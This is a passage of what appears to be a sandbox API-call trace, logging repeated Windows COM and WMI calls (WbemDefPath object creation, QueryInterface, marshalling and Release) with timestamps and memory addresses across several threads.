pToken=0x59ff1f8) returned 0x0 [0141.944] WbemStatusCodeText:IUnknown:Release (This=0x5d139a8) returned 0x1 [0141.944] WbemStatusCodeText:IUnknown:Release (This=0x5d139a8) returned 0x0 [0141.944] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.944] IUnknown:Release (This=0x5ce3798) returned 0x2 [0141.944] IUnknown:Release (This=0x5ce3798) returned 0x1 [0141.944] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.944] IUnknown:Release (This=0x5ccc608) returned 0x2 [0141.944] IUnknown:Release (This=0x5ccc608) returned 0x1 [0141.945] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.945] WbemStatusCodeText:IUnknown:Release (This=0x5d09a10) returned 0x1 [0141.945] WbemStatusCodeText:IUnknown:Release (This=0x5d09a10) returned 0x0 [0141.945] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.945] WbemStatusCodeText:IUnknown:Release (This=0x5d097a0) returned 0x1 [0141.945] WbemStatusCodeText:IUnknown:Release (This=0x5d097a0) returned 0x0 [0141.945] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.945] IUnknown:Release (This=0x6c0940) returned 0x1 [0141.945] IUnknown:Release (This=0x6c0940) returned 0x0 [0141.960] IUnknown:Release (This=0x6addb8) returned 0x0 [0141.961] CoUninitialize () Thread: id = 62 os_tid = 0x90c Thread: id = 64 os_tid = 0x908 Thread: id = 65 os_tid = 0x8f8 Thread: id = 72 os_tid = 0xd00 Thread: id = 74 os_tid = 0xcf8 [0113.784] CoGetContextToken (in: pToken=0x504fc64 | out: pToken=0x504fc64) returned 0x0 [0113.784] CObjectContext::QueryInterface () returned 0x0 [0113.784] CObjectContext::GetCurrentThreadType () returned 0x0 [0113.784] Release () returned 0x0 [0113.784] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 79 os_tid = 0xd28 Thread: id = 82 os_tid = 0xd0c [0119.528] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.551] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x5e0ee7c | out: lpiid=0x5e0ee7c) returned 0x0 [0119.552] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1120) returned 0x0 [0120.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1120, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0120.158] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1120, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x6f3e68) returned 0x0 [0120.159] WbemDefPath:IUnknown:Release (This=0x5cc1120) returned 0x0 [0120.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x6f3e68) returned 0x0 [0120.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0120.160] WbemDefPath:IUnknown:AddRef (This=0x6f3e68) returned 0x3 [0120.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0120.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0120.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1130) returned 0x0 [0120.160] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1130, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.160] WbemDefPath:IUnknown:Release (This=0x5cc1130) returned 0x3 [0120.160] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0120.160] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0120.160] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0120.160] WbemDefPath:IUnknown:Release (This=0x6f3e68) returned 0x2 [0120.160] WbemDefPath:IUnknown:Release (This=0x6f3e68) returned 0x1 [0120.165] SetEvent (hEvent=0x410) returned 1 [0126.764] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1270) returned 0x0 [0126.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0126.764] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcba8) returned 0x0 [0126.764] WbemDefPath:IUnknown:Release (This=0x5cc1270) returned 0x0 [0126.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcba8) returned 0x0 [0126.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0126.765] WbemDefPath:IUnknown:AddRef (This=0x5cdcba8) returned 0x3 [0126.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0126.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0126.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1290) returned 0x0 [0126.765] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1290, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.765] WbemDefPath:IUnknown:Release (This=0x5cc1290) returned 0x3 [0126.765] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0126.765] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0126.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0126.765] WbemDefPath:IUnknown:Release (This=0x5cdcba8) returned 0x2 [0126.765] WbemDefPath:IUnknown:Release (This=0x5cdcba8) returned 0x1 [0126.765] SetEvent (hEvent=0x4d4) returned 1 [0127.064] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1360) returned 0x0 [0127.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1360, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.064] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1360, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcc18) returned 0x0 [0127.102] WbemDefPath:IUnknown:Release (This=0x5cc1360) returned 0x0 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcc18) returned 0x0 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.102] WbemDefPath:IUnknown:AddRef (This=0x5cdcc18) returned 0x3 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1370) returned 0x0 [0127.102] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1370, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.102] WbemDefPath:IUnknown:Release (This=0x5cc1370) returned 0x3 [0127.102] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.102] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc18, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.102] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x2 [0127.102] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x1 [0127.102] SetEvent (hEvent=0x4d8) returned 1 [0127.104] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1360) returned 0x0 [0127.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1360, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.104] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1360, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcc88) returned 0x0 [0127.104] WbemDefPath:IUnknown:Release (This=0x5cc1360) returned 0x0 [0127.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdcc88) returned 0x0 [0127.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.105] WbemDefPath:IUnknown:AddRef (This=0x5cdcc88) returned 0x3 [0127.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1380) returned 0x0 [0127.105] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1380, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.105] WbemDefPath:IUnknown:Release (This=0x5cc1380) returned 0x3 [0127.105] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.105] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcc88, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.105] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x2 [0127.105] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x1 [0127.105] SetEvent (hEvent=0x4dc) returned 1 [0127.108] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc1360) returned 0x0 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc1360, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.108] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc1360, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdccf8) returned 0x0 [0127.108] WbemDefPath:IUnknown:Release (This=0x5cc1360) returned 0x0 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdccf8) returned 0x0 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0127.108] WbemDefPath:IUnknown:AddRef (This=0x5cdccf8) returned 0x3 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0127.108] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5cc1390) returned 0x0 [0127.108] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5cc1390, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.109] WbemDefPath:IUnknown:Release (This=0x5cc1390) returned 0x3 [0127.109] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0127.109] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0127.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdccf8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0127.109] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x2 [0127.109] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x1 [0127.109] SetEvent (hEvent=0x4e0) returned 1 [0127.114] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5cc13f0) returned 0x0 [0127.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cc13f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0127.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5cc13f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdcd68) returned 0x0 [0127.114] WbemDefPath:IUnknown:Release (This=0x5cc13f0) returned 0x0 [0127.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcd68, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 